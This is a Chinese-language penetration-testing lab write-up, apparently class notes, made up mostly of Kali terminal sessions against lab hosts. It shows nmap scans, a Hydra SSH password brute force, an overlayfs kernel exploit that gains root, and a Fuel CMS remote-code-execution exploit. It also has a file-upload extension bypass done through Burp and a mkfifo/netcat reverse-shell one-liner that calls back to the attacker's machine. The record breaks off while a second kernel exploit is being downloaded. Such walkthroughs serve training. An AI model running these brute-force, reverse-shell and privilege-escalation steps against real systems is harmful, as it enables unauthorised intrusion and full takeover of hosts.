Not shown: 94 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
Nmap scan report for 172.16.19.2
Host is up (0.034s latency).
Not shown: 91 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5357/tcp open wsdapi
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
Nmap scan report for 172.16.19.9
Host is up (0.035s latency).
Not shown: 90 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
Nmap scan report for 172.16.20.3
Host is up (0.034s latency).
Not shown: 99 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
Nmap scan report for 172.16.20.6
Host is up (0.035s latency).
Not shown: 98 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap scan report for 172.16.20.7
Host is up (0.036s latency).
Not shown: 99 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 5120 IP addresses (21 hosts up) scanned in 51.91 seconds
打打看其中一個:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# nmap -p- 172.16.3.128
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 22:22 EDT
Nmap scan report for 172.16.3.128
Host is up (0.059s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 30.61 seconds
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# nmap -p22 172.16.3.128 -sC -sV -O -A
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 22:29 EDT
Nmap scan report for 172.16.3.128
Host is up (0.020s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 ce8eb17409f0e9ac520810f2d82eb6e0 (DSA)
| 2048 a2c1d9a1e1f7302eae85cb050c3559ed (RSA)
| 256 0d8658bbfb1c322e0d70f95cf1e13eca (ECDSA)
|_ 256 b6e04ffd17be8f891da29a0cfe45a3ef (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2.0 (94%), Linux 3.11 - 4.1 (94%), Linux 4.4 (94%), Linux 3.10 - 3.16 (93%), Linux 3.16 (93%), Linux 3.13 (91%), Linux 3.18 (90%), Linux 3.10 - 3.12 (89%), Linux 3.10 - 4.11 (89%), Linux 3.12 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 62.84 ms 192.168.200.1
2 11.76 ms 172.16.3.128
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.95 seconds
只有ssh有開,hydra爆帳密給它死:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# hydra -l jason -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt ssh://172.16.3.128
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-17 22:31:38
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1000000 login tries (l:1/p:1000000), ~62500 tries per task
[DATA] attacking ssh://172.16.3.128:22/
[STATUS] 82.00 tries/min, 82 tries in 00:01h, 999921 to do in 203:15h, 13 active
[STATUS] 92.00 tries/min, 276 tries in 00:03h, 999727 to do in 181:07h, 13 active
[22][ssh] host: 172.16.3.128 login: jason password: apollo
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 9 final worker threads did not complete until end.
[ERROR] 9 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-17 22:37:17
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# ssh jason@172.16.3.128
jason@172.16.3.128's password:
Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic x86_64)
* Documentation: https://help.ubuntu.com/
775 packages can be updated.
483 updates are security updates.
Last login: Sat Oct 29 16:20:08 2022 from 192.168.200.15
jason@Ubuntu14:~$
順利get shell後,當然是看看能不能提權,所以要把枚舉工具送進去:
┌──(root㉿kali)-[~]
└─# cd /home/kali
┌──(root㉿kali)-[/home/kali]
└─# ls -al
total 1040
drwxr-xr-x 22 kali kali 4096 Mar 17 21:29 .
drwxr-xr-x 4 root root 4096 Jan 15 00:59 ..
-rw-r--r-- 1 kali kali 220 Aug 8 2022 .bash_logout
-rw-r--r-- 1 kali kali 5551 Aug 8 2022 .bashrc
-rw-r--r-- 1 kali kali 3526 Aug 8 2022 .bashrc.original
drwx------ 6 kali kali 4096 Feb 19 07:36 .BurpSuite
drwxr-xr-x 10 kali kali 4096 Feb 19 04:23 .cache
drwxr-xr-x 15 kali kali 4096 Feb 27 06:51 .config
-rw-r--r-- 1 kali kali 13176 Mar 12 04:32 cve-2017-16995.c
-rw-r--r-- 1 kali kali 4715 Mar 11 03:16 cyberlab.ovpn
drwxr-xr-x 2 kali kali 4096 Dec 10 01:17 Desktop
-rw-r--r-- 1 kali kali 35 Nov 7 06:23 .dmrc
drwxr-xr-x 2 kali kali 4096 Nov 7 06:23 Documents
drwxr-xr-x 2 kali kali 4096 Mar 11 03:17 Downloads
-rw-r--r-- 1 kali kali 11759 Aug 8 2022 .face
lrwxrwxrwx 1 kali kali 5 Aug 8 2022 .face.icon -> .face
drwx------ 3 kali kali 4096 Nov 7 06:23 .gnupg
-rw------- 1 kali kali 0 Nov 7 06:23 .ICEauthority
drwxr-xr-x 4 kali kali 4096 Feb 19 05:32 .java
-rw-r--r-- 1 kali kali 46631 Mar 12 04:03 LinEnum.sh
-rw-r--r-- 1 root root 776167 Apr 17 2022 linpeas.sh
drwx------ 3 kali kali 4096 Nov 7 06:23 .local
drwx------ 5 kali kali 4096 Nov 13 02:21 .mozilla
drwxr-xr-x 10 kali kali 4096 Feb 26 07:08 .msf4
drwxr-xr-x 2 kali kali 4096 Nov 7 06:23 Music
-rw------- 1 kali kali 103 Dec 10 22:12 .mysql_history
drwxr-xr-x 2 kali kali 4096 Feb 26 06:43 Pictures
-rw-r--r-- 1 kali kali 807 Aug 8 2022 .profile
drwxr-xr-x 2 root root 4096 Mar 17 22:36 PT_day3
drwxr-xr-x 2 kali kali 4096 Nov 7 06:23 Public
drwx------ 2 kali kali 4096 Jan 15 01:42 .ssh
-rw-r--r-- 1 kali kali 0 Nov 13 05:38 .sudo_as_admin_successful
drwxr-xr-x 5 kali kali 4096 Dec 31 01:50 target_machine
drwxr-xr-x 2 kali kali 4096 Nov 7 06:23 Templates
-rw-r----- 1 kali kali 4 Mar 17 20:27 .vboxclient-clipboard.pid
-rw-r----- 1 kali kali 5 Mar 17 20:27 .vboxclient-display-svga-x11.pid
-rw-r----- 1 kali kali 4 Mar 17 20:27 .vboxclient-draganddrop.pid
-rw-r----- 1 kali kali 4 Mar 17 20:27 .vboxclient-seamless.pid
-rw-r----- 1 kali kali 4 Mar 17 20:27 .vboxclient-vmsvga-session-tty7.pid
drwxr-xr-x 2 kali kali 4096 Nov 7 06:23 Videos
-rw------- 1 kali kali 1988 Dec 10 00:41 .viminfo
drwxr-xr-x 2 kali kali 4096 Nov 13 02:19 vulnOSv2
-rw-r--r-- 1 kali kali 180 Mar 12 04:03 .wget-hsts
-rw------- 1 kali kali 299 Mar 17 21:29 .Xauthority
-rw------- 1 kali kali 8473 Mar 17 21:10 .xsession-errors
-rw------- 1 kali kali 8520 Mar 12 03:50 .xsession-errors.old
-rw------- 1 kali kali 8644 Mar 12 04:46 .zsh_history
-rw-r--r-- 1 kali kali 10877 Aug 8 2022 .zshrc
┌──(root㉿kali)-[/home/kali]
└─# python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
172.16.3.128 - - [17/Mar/2023 22:42:02] "GET /linpeas.sh HTTP/1.1" 200 -
移到tmp資料夾,才准許寫入:(linpeas的結果太長,所以不貼)
總之有CVE-2015-8660 overlayfs。
上exploit-db查一下:
看看下面紅圈,應該很類似現在這一台靶機的環境:
可以用下圖方式下載poc:
也可以利用EDB-ID在本機找:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# searchsploit -m 37292
Exploit: Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation
URL: https://www.exploit-db.com/exploits/37292
Path: /usr/share/exploitdb/exploits/linux/local/37292.c
Codes: CVE-2015-1328
Verified: True
File Type: C source, ASCII text, with very long lines (466)
Copied to: /home/kali/PT_day3/37292.c
同樣的在poc所在資料夾開簡易server:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
讓靶機下載腳本:
jason@Ubuntu14:/tmp$ wget http://192.168.200.7/37292.c
--2022-10-29 21:49:39-- http://192.168.200.7/37292.c
Connecting to 192.168.200.7:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4968 (4.9K) [text/x-csrc]
Saving to: ‘37292.c’
100%[======================================================>] 4,968 --.-K/s in 0.008s
2022-10-29 21:49:39 (594 KB/s) - ‘37292.c’ saved [4968/4968]
jason@Ubuntu14:/tmp$ gcc 37292.c -o ofs
jason@Ubuntu14:/tmp$ ls -l
total 984
-rw-rw-r-- 1 jason jason 4968 3月 18 2023 37292.c
-rwxrwxr-x 1 jason jason 776167 4月 17 2022 linpeas.sh
-rw-rw-r-- 1 jason jason 197924 10月 29 21:20 linpeas.txt
-rwxrwxr-x 1 jason jason 13644 10月 29 21:50 ofs
drwx------ 2 apollo apollo 4096 12月 15 2021 ssh-p8kd9p9WZt8t
-rw-rw-r-- 1 apollo apollo 0 12月 15 2021 unity_support_test.1
jason@Ubuntu14:/tmp$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root
也可以試試scp來下載檔案。剛剛的兩台機器也應該有一樣的弱點,但如果直接把172.16.3.128
的ofs執行檔給複製過去,會發現沒法用,因為CPU不同。
┌──(kali㉿kali)-[~]
└─$ rdesktop 172.16.253.19 -g 90%
Autoselecting keyboard map 'en-us' from locale
Connection established using plain RDP.
連上遠端桌面後,一樣老梗的先粗略nmap再詳細nmap:
┌──(root㉿kali)-[~]
└─# nmap -p- 172.16.1.120
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-12 01:01 EST
Nmap scan report for 172.16.1.120
Host is up (0.046s latency).
Not shown: 65527 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
53/tcp open domain
110/tcp open pop3
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
8081/tcp open blackice-icecap
Nmap done: 1 IP address (1 host up) scanned in 27.37 seconds
┌──(root㉿kali)-[~]
└─# nmap -p22,25,53,110,139,143,445,8081 172.16.1.120 -sC -sV -O -A
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-12 01:02 EST
Nmap scan report for 172.16.1.120
Host is up (0.017s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d236aef714f27c5dba262e9b405355c5 (RSA)
| 256 1b8a0440b432f13f11c824e8cbaf771f (ECDSA)
|_ 256 704228800dd468fb069c6ed304dac161 (ED25519)
25/tcp open smtp Postfix smtpd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=FuleCMS
| Not valid before: 2020-08-20T16:26:53
|_Not valid after: 2030-08-18T16:26:53
|_smtp-commands: FuleCMS, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: SASL AUTH-RESP-CODE UIDL RESP-CODES PIPELINING TOP CAPA
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
|_imap-capabilities: ENABLE IMAP4rev1 more capabilities have LOGINDISABLEDA0001 listed post-login SASL-IR IDLE ID OK Pre-login LOGIN-REFERRALS LITERAL+
445/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
8081/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Welcome to FUEL CMS
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/fuel/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2.0 (94%), Linux 3.11 - 4.1 (94%), Linux 3.16 (93%), Linux 4.4 (93%), Linux 3.10 - 3.16 (92%), Linux 3.13 (90%), Linux 3.16 - 4.6 (89%), Linux 3.2 - 4.9 (89%), Linux 4.2 (89%), Linux 3.2 - 3.8 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Hosts: FuleCMS, FULECMS; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -2h40m02s, deviation: 4h37m07s, median: -3s
|_nbstat: NetBIOS name: FULECMS, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
| Computer name: fulecms
| NetBIOS computer name: FULECMS\x00
| Domain name: \x00
| FQDN: fulecms
|_ System time: 2023-03-12T14:03:07+08:00
| smb2-time:
| date: 2023-03-12T06:03:06
|_ start_date: N/A
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
TRACEROUTE (using port 25/tcp)
HOP RTT ADDRESS
1 61.59 ms 192.168.200.1
2 10.17 ms 172.16.1.120
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.94 seconds
看到8081 port有fuel資料夾,用http://172.16.1.120:8081/fuel
網址連連看:
看到稀罕cms先找找預設的帳密:
試試看:
還真的進去了:
可以看看版本號:
找找exploit-db:
看看其中一個:
從上面的網頁知道EDB-ID(50477)後,之後都可以在本機操縱,把poc複製過來後使用,成功get shell:
┌──(root㉿kali)-[~]
└─# cd /home/kali/PT_day3
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# searchsploit -m 50477
Exploit: Fuel CMS 1.4.1 - Remote Code Execution (3)
URL: https://www.exploit-db.com/exploits/50477
Path: /usr/share/exploitdb/exploits/php/webapps/50477.py
Codes: CVE-2018-16763
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/PT_day3/50477.py
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# python 50477.py -u http://172.16.1.120:8081
[+]Connecting...
Enter Command $whoami
systemwww-data
翻翻看有什麼東西:
Enter Command $ls -l
systemtotal 56
-rwxrwxr-x 1 www-data www-data 1427 Mar 31 2017 README.md
drwxrwxr-x 9 www-data www-data 4096 Mar 31 2017 assets
-rwxrwxr-x 1 www-data www-data 193 Mar 31 2017 composer.json
-rwxrwxr-x 1 www-data www-data 6502 Mar 31 2017 contributing.md
drwxrwxr-x 9 www-data www-data 4096 Mar 31 2017 fuel
-rwxrwxr-x 1 www-data www-data 11321 Aug 21 2020 index.html
-rwxrwxr-x 1 www-data www-data 11802 Mar 31 2017 index.php
-rwxrwxr-x 1 www-data www-data 20 Aug 21 2020 phpinfo.php
-rwxrwxr-x 1 www-data www-data 30 Mar 31 2017 robots.txt
Enter Command $ls ./assets -l
systemtotal 28
drwxrwxr-x 2 www-data www-data 4096 Mar 31 2017 cache
drwxrwxr-x 2 www-data www-data 4096 Mar 31 2017 css
drwxrwxr-x 2 www-data www-data 4096 Mar 31 2017 docs
drwxrwxr-x 2 www-data www-data 4096 Mar 31 2017 images
drwxrwxr-x 2 www-data www-data 4096 Mar 31 2017 js
drwxrwxr-x 2 www-data www-data 4096 Mar 31 2017 pdf
drwxrwxr-x 2 www-data www-data 4096 Mar 31 2017 swf
發現有上傳頁面,把burp suite打開準備:
找找看本機的reverse shell腳本:
┌──(root㉿kali)-[~]
└─# cd /usr/share/webshells
┌──(root㉿kali)-[/usr/share/webshells]
└─# ls -al
total 40
drwxr-xr-x 8 root root 4096 Aug 8 2022 .
drwxr-xr-x 342 root root 12288 Feb 19 02:19 ..
drwxr-xr-x 2 root root 4096 Aug 8 2022 asp
drwxr-xr-x 2 root root 4096 Aug 8 2022 aspx
drwxr-xr-x 2 root root 4096 Aug 8 2022 cfm
drwxr-xr-x 2 root root 4096 Aug 8 2022 jsp
lrwxrwxrwx 1 root root 19 Aug 8 2022 laudanum -> /usr/share/laudanum
drwxr-xr-x 2 root root 4096 Aug 8 2022 perl
drwxr-xr-x 3 root root 4096 Dec 10 02:17 php
┌──(root㉿kali)-[/usr/share/webshells]
└─# cd php
┌──(root㉿kali)-[/usr/share/webshells/php]
└─# ls -al
total 196
drwxr-xr-x 3 root root 4096 Dec 10 02:17 .
drwxr-xr-x 8 root root 4096 Aug 8 2022 ..
drwxr-xr-x 2 root root 4096 Aug 8 2022 findsocket
-rw-r--r-- 1 root root 2800 Nov 20 2021 php-backdoor.php
-rwxr-xr-x 1 root root 5496 Dec 10 00:42 php-reverse-shell.php
-rwxr-xr-x 1 root root 5500 Dec 10 02:17 php-reverse-shell.png
-rw-r--r-- 1 root root 13585 Nov 20 2021 qsd-php-backdoor.php
-rw-r--r-- 1 root root 328 Nov 20 2021 simple-backdoor.php
-rwxrwxrwx 1 root root 147181 Dec 10 01:35 test1.jpeg
┌──(root㉿kali)-[/usr/share/webshells/php]
└─# cp php-reverse-shell.php /home/kali/PT_day3
┌──(root㉿kali)-[/usr/share/webshells/php]
└─# cd /home/kali/PT_day3
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# ls -al
total 52
drwxr-xr-x 2 root root 4096 Mar 12 03:19 .
drwxr-xr-x 22 kali kali 4096 Mar 12 03:18 ..
-rw-r--r-- 1 root root 5036 Mar 11 23:59 42558-1.py
-rwxr-xr-x 1 root root 4925 Mar 11 23:54 42558.py
-rwxr-xr-x 1 root root 3680 Mar 11 23:08 44156.py
-rwxr-xr-x 1 root root 1836 Mar 12 01:37 50477.py
-rwxr-xr-x 1 root root 5495 Feb 27 06:38 bbb_reverse.php
-rwxr-xr-x 1 root root 996 Mar 11 21:03 freeswitch.py
-rwxr-xr-x 1 root root 5496 Mar 12 03:19 php-reverse-shell.php
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# vim php-reverse-shell.php
改以下兩行:
改一下檔名,避免無法上傳:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# mv php-reverse-shell.php php-reverse-shell.jpg
試著上傳看看:
在上傳時,因為burp suite開啟了攔截,所以會顯示一些東西。
可以看到上圖2就是上傳上去的jpg,但其實是php,所以可以改成php如下圖紅圈:
改完檔名後按下burp的forward後,跳到以下畫面,找找上傳後跑到哪個位址:
但實際上找不到,因為:
只好再次使用剛剛的50477,利用它可以get shell的特性,做reverse shell:
先監聽:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# nc -lvnp 1234
listening on [any] 1234 ...
打上在網頁上抄的指令:
Enter Command $php -r '$sock=fsockopen("192.168.200.6",1234);exec("sh <&3 >&3 2>&3");'
<br />
<b>Parse error</b>: syntax error, unexpected '$sock' (T_VARIABLE) in <b>/var/www/html/fuel/modules/fuel/controllers/Pages.php(924) : runtime-created function</b> on line <b>1</b><br />
代表$符號不能用。
再換別的:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# python 50477.py -u http://172.16.1.120:8081
[+]Connecting...
Enter Command $rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.200.6 1234 >/tmp/f
監聽,並成功反彈:
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.200.6] from (UNKNOWN) [172.16.1.120] 57974
sh: 0: can't access tty; job control turned off
翻一下攻擊機,記得之前應該有下載枚舉工具linenum跟linpeas。
┌──(kali㉿kali)-[~]
└─$ sudo -i
[sudo] password for kali:
┌──(root㉿kali)-[~]
└─# cd /home/kali
┌──(root㉿kali)-[/home/kali]
└─# ls -al
total 972
drwxr-xr-x 22 kali kali 4096 Mar 12 03:56 .
drwxr-xr-x 4 root root 4096 Jan 15 00:59 ..
-rw-r--r-- 1 kali kali 220 Aug 8 2022 .bash_logout
-rw-r--r-- 1 kali kali 5551 Aug 8 2022 .bashrc
-rw-r--r-- 1 kali kali 3526 Aug 8 2022 .bashrc.original
drwx------ 6 kali kali 4096 Feb 19 07:36 .BurpSuite
drwxr-xr-x 10 kali kali 4096 Feb 19 04:23 .cache
drwxr-xr-x 15 kali kali 4096 Feb 27 06:51 .config
-rw-r--r-- 1 kali kali 4715 Mar 11 03:16 cyberlab.ovpn
drwxr-xr-x 2 kali kali 4096 Dec 10 01:17 Desktop
-rw-r--r-- 1 kali kali 35 Nov 7 06:23 .dmrc
drwxr-xr-x 2 kali kali 4096 Nov 7 06:23 Documents
drwxr-xr-x 2 kali kali 4096 Mar 11 03:17 Downloads
-rw-r--r-- 1 kali kali 11759 Aug 8 2022 .face
lrwxrwxrwx 1 kali kali 5 Aug 8 2022 .face.icon -> .face
drwx------ 3 kali kali 4096 Nov 7 06:23 .gnupg
-rw------- 1 kali kali 0 Nov 7 06:23 .ICEauthority
drwxr-xr-x 4 kali kali 4096 Feb 19 05:32 .java
-rw-r--r-- 1 root root 776167 Apr 17 2022 linpeas.sh
drwx------ 3 kali kali 4096 Nov 7 06:23 .local
drwx------ 5 kali kali 4096 Nov 13 02:21 .mozilla
drwxr-xr-x 10 kali kali 4096 Feb 26 07:08 .msf4
drwxr-xr-x 2 kali kali 4096 Nov 7 06:23 Music
-rw------- 1 kali kali 103 Dec 10 22:12 .mysql_history
drwxr-xr-x 2 kali kali 4096 Feb 26 06:43 Pictures
-rw-r--r-- 1 kali kali 807 Aug 8 2022 .profile
drwxr-xr-x 2 root root 4096 Mar 12 03:25 PT_day3
drwxr-xr-x 2 kali kali 4096 Nov 7 06:23 Public
drwx------ 2 kali kali 4096 Jan 15 01:42 .ssh
-rw-r--r-- 1 kali kali 0 Nov 13 05:38 .sudo_as_admin_successful
drwxr-xr-x 5 kali kali 4096 Dec 31 01:50 target_machine
drwxr-xr-x 2 kali kali 4096 Nov 7 06:23 Templates
-rw-r----- 1 kali kali 4 Mar 11 20:19 .vboxclient-clipboard.pid
-rw-r----- 1 kali kali 4 Mar 11 20:19 .vboxclient-display-svga-x11.pid
-rw-r----- 1 kali kali 4 Mar 11 20:19 .vboxclient-draganddrop.pid
-rw-r----- 1 kali kali 4 Mar 11 20:19 .vboxclient-seamless.pid
-rw-r----- 1 kali kali 4 Mar 11 20:19 .vboxclient-vmsvga-session-tty7.pid
drwxr-xr-x 2 kali kali 4096 Nov 7 06:23 Videos
-rw------- 1 kali kali 1988 Dec 10 00:41 .viminfo
drwxr-xr-x 2 kali kali 4096 Nov 13 02:19 vulnOSv2
-rw------- 1 kali kali 249 Mar 12 03:56 .Xauthority
-rw------- 1 kali kali 8520 Mar 12 03:50 .xsession-errors
-rw------- 1 kali kali 9187 Mar 11 08:15 .xsession-errors.old
-rw------- 1 kali kali 8349 Mar 12 01:00 .zsh_history
-rw-r--r-- 1 kali kali 10877 Aug 8 2022 .zshrc
┌──(root㉿kali)-[/home/kali]
└─# python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
上面的最後一步建網頁伺服器,以便靶機下載:
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@FuleCMS:/var/www/html$ cd /
cd /
www-data@FuleCMS:/$ ls -l
ls -l
total 88
drwxr-xr-x 2 root root 4096 Aug 21 2020 bin
drwxr-xr-x 3 root root 4096 Aug 21 2020 boot
drwxr-xr-x 18 root root 4140 May 29 2021 dev
drwxr-xr-x 100 root root 4096 Aug 21 2020 etc
drwxr-xr-x 4 root root 4096 Aug 21 2020 home
lrwxrwxrwx 1 root root 32 Aug 21 2020 initrd.img -> boot/initrd.img-4.4.0-31-generic
drwxr-xr-x 22 root root 4096 Aug 21 2020 lib
drwxr-xr-x 2 root root 4096 Aug 21 2020 lib64
drwx------ 2 root root 16384 Aug 21 2020 lost+found
drwxr-xr-x 4 root root 4096 Aug 21 2020 media
drwxr-xr-x 2 root root 4096 Jul 20 2016 mnt
drwxr-xr-x 2 root root 4096 Jul 20 2016 opt
dr-xr-xr-x 171 root root 0 May 29 2021 proc
drwx------ 2 root root 4096 May 29 2021 root
drwxr-xr-x 27 root root 900 May 29 2021 run
drwxr-xr-x 2 root root 12288 Aug 21 2020 sbin
drwxr-xr-x 2 root root 4096 Jun 30 2016 snap
drwxr-xr-x 2 root root 4096 Jul 20 2016 srv
dr-xr-xr-x 13 root root 0 May 29 2021 sys
drwxrwxrwt 9 root root 4096 Mar 12 15:52 tmp
drwxr-xr-x 10 root root 4096 Aug 21 2020 usr
drwxr-xr-x 14 root root 4096 Aug 21 2020 var
lrwxrwxrwx 1 root root 29 Aug 21 2020 vmlinuz -> boot/vmlinuz-4.4.0-31-generic
www-data@FuleCMS:/$ cd /tmp
cd /tmp
www-data@FuleCMS:/tmp$ ls
ls
f
systemd-private-9f8aca4e3c70461489381ad43cf2d088-dovecot.service-TfyOSV
systemd-private-9f8aca4e3c70461489381ad43cf2d088-systemd-timesyncd.service-3H3aVE
www-data@FuleCMS:/tmp$ wget http://192.168.200.6/linpeas.sh
wget http://192.168.200.6/linpeas.sh
--2023-03-12 16:00:53-- http://192.168.200.6/linpeas.sh
Connecting to 192.168.200.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 776167 (758K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 100%[===================>] 757.98K 2.22MB/s in 0.3s
2023-03-12 16:00:53 (2.22 MB/s) - 'linpeas.sh' saved [776167/776167]
www-data@FuleCMS:/tmp$ ls -l
ls -l
total 768
prw-r--r-- 1 www-data www-data 0 Mar 12 16:01 f
-rw-r--r-- 1 www-data www-data 776167 Apr 17 2022 linpeas.sh
drwx------ 3 root root 4096 May 29 2021 systemd-private-9f8aca4e3c70461489381ad43cf2d088-dovecot.service-TfyOSV
drwx------ 3 root root 4096 May 29 2021 systemd-private-9f8aca4e3c70461489381ad43cf2d088-systemd-timesyncd.service-3H3aVE
www-data@FuleCMS:/tmp$ wget http://192.168.200.6/LinEnum.sh
wget http://192.168.200.6/LinEnum.sh
--2023-03-12 16:04:52-- http://192.168.200.6/LinEnum.sh
Connecting to 192.168.200.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: 'LinEnum.sh'
LinEnum.sh 100%[===================>] 45.54K --.-KB/s in 0.03s
2023-03-12 16:04:52 (1.27 MB/s) - 'LinEnum.sh' saved [46631/46631]
www-data@FuleCMS:/tmp$ chmod +x LinEnum.sh
chmod +x LinEnum.sh
www-data@FuleCMS:/tmp$ chmod +x lin*
chmod +x lin*
www-data@FuleCMS:/tmp$ ls -l
ls -l
total 816
-rwxr-xr-x 1 www-data www-data 46631 Mar 12 16:03 LinEnum.sh
prw-r--r-- 1 www-data www-data 0 Mar 12 16:05 f
-rwxr-xr-x 1 www-data www-data 776167 Apr 17 2022 linpeas.sh
drwx------ 3 root root 4096 May 29 2021 systemd-private-9f8aca4e3c70461489381ad43cf2d088-dovecot.service-TfyOSV
drwx------ 3 root root 4096 May 29 2021 systemd-private-9f8aca4e3c70461489381ad43cf2d088-systemd-timesyncd.service-3H3aVE
找找看不用提權就可找到的文件local.txt:
www-data@FuleCMS:/tmp$ find / -name local.txt -print 2>/dev/null
find / -name local.txt -print 2>/dev/null
/home/test/local.txt
www-data@FuleCMS:/tmp$ cat /home/test/local.txt
cat /home/test/local.txt
9c5060aebbfea6f364af27dcd08393cd -
執行linpeas.sh:(掃描結果太長所以省略)
知道內核版本號:
看看下面這個能不能用:
在本機找到poc:
┌──(kali㉿kali)-[~]
└─$ searchsploit -m 45010
Exploit: Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation
URL: https://www.exploit-db.com/exploits/45010
Path: /usr/share/exploitdb/exploits/linux/local/45010.c
Codes: CVE-2017-16995
Verified: True
File Type: C source, ASCII text
Copied to: /home/kali/45010.c
┌──(kali㉿kali)-[~]
└─$ mv 45010.c cve-2017-16995.c
同樣的,讓靶機下載這個poc:
www-data@FuleCMS:/tmp$ wget http://192.168.200.6/cve-2017-16995.c
wget http://192.168.200.6/cve-2017-16995.c
--2023-03-12 16:35:54-- http://192.168.200.6/cve-2017-16995.c
Connecting to 192.168.200.6:80... connected.
HTTP request sent, awaiting response... 200 OK
